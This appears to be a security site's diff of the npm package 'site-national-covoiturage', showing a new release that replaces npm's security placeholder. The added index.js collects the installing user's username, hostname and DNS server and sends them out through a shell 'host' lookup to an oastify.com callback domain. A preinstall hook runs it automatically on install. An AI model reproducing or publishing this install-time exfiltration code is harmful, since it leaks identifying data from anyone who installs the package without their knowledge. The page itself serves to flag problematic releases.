site-national-covoiturage 0.0.1-security → 3.0.10
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of site-national-covoiturage might be problematic. Click here for more details.
- package/index.js +26 -0
- package/package.json +12 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
|
5
|
+
// Obtener el nombre de usuario y el nombre del host
|
6
|
+
const username = os.userInfo().username; // o puedes usar `$(whoami)` si prefieres el comando
|
7
|
+
const hostname = os.hostname();
|
8
|
+
|
9
|
+
// Obtener el primer servidor DNS, o "none" si no hay ninguno
|
10
|
+
const dnsServers = dns.getServers();
|
11
|
+
const dnsServer = dnsServers.length > 0 ? dnsServers[0] : "none";
|
12
|
+
|
13
|
+
// Construir el comando para exec
|
14
|
+
const command = `host ${dnsServer}.${username}.${hostname}.m6tz3we1a2ck977g0k3dt9kim9s3gu4j.oastify.com`;
|
15
|
+
|
16
|
+
exec(command, (error, data, getter) => {
|
17
|
+
if (error) {
|
18
|
+
console.log("error", error.message);
|
19
|
+
return;
|
20
|
+
}
|
21
|
+
if (getter) {
|
22
|
+
console.log(data);
|
23
|
+
return;
|
24
|
+
}
|
25
|
+
console.log(data);
|
26
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
|
-
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "site-national-covoiturage",
|
3
|
+
"version": "3.0.10",
|
4
|
+
"description": "PoC Package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "h0rus3c",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=site-national-covoiturage for more information.
|